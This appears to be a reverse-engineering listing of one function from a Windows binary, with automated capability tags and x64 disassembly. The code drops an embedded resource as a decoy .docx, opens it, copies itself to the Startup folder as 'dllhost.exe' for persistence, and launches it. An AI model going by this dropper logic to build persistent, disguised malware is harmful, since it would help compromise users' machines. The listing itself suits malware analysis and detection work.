Function at 0x140001300
Capabilities:
Copy file
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push r15
lea rbp, [r11 - 0x688]
sub rsp, 0x778
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x660], rax
mov qword [r11 + 0x10], rsi
lea rdx, [rbp + 0x330]
mov r8d, 0x104
mov qword [r11 + 0x18], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp - 0x18]
lea r9, [rbp + 0x550]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x440]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x330]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__splitpath]
lea rcx, [rbp]
mov byte [rbp], 0
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001375
lea r8, [rbp - 0x20]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001390
lea rcx, [rbp]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400013b0
lea r8, [rbp + 0x440]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400013d0
lea rcx, [rbp]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400013f0
lea r8, [rbp + 0x550]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001410
lea rcx, [rbp]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001430
mov eax, dword [str..docx]
lea r8, [0x140003364]
mov rdi, qword [0x140005638]
mov edx, 0x78
mov dword [rcx], eax
movzx eax, word [0x140003388]
mov word [rcx + 4], ax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor r15d, r15d
mov rsi, rax
test rax, rax
je 0x140001546
mov rdx, rax
mov qword [rsp + 0x790], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14000153e
mov rcx, rax
mov qword [rsp + 0x770], r14
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x140001536
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
je 0x14000152d
mov qword [rsp + 0x30], r15
lea rcx, [rbp]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
je 0x14000152d
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], 0xffffffff
mov r8d, esi
mov qword [rsp + 0x20], r15
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
cmp dword [rsp + 0x50], esi
je 0x1400016c5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r14, qword [rsp + 0x770]
mov rbx, qword [rsp + 0x790]
xor r9d, r9d
lea rdx, [rbp + 0x110]
xor ecx, ecx
lea r8d, [r9 + 5]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov rdi, qword [rsp + 0x7a0]
lea rcx, [rbp + 0x110]
mov rsi, qword [rsp + 0x798]
dec rcx
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x140001576
movzx eax, word [0x140003394]
mov word [rcx], ax
lea rcx, [rbp + 0x110]
dec rcx
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x140001594
movsd xmm0, qword [str.dllhost.exe]
lea rdx, [rbp + 0x110]
mov eax, dword [0x1400033a0]
xor r8d, r8d
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0x220]
mov byte [rbp + 0x220], r15b
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x1400015e0
lea r8, [rbp + 0x110]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001600
lea rcx, [rbp + 0x220]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x140001620
mov eax, dword [str._run]
lea rdx, [rbp + 0x220]
xorps xmm0, xmm0
mov dword [rcx], eax
movzx eax, byte [0x1400033a8]
xor r9d, r9d
mov byte [rcx + 4], al
xor r8d, r8d
xor eax, eax
mov dword [rsp + 0x70], 0x68
mov dword [rbp - 0x2c], eax
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.140001100
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, [rbp]
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140001536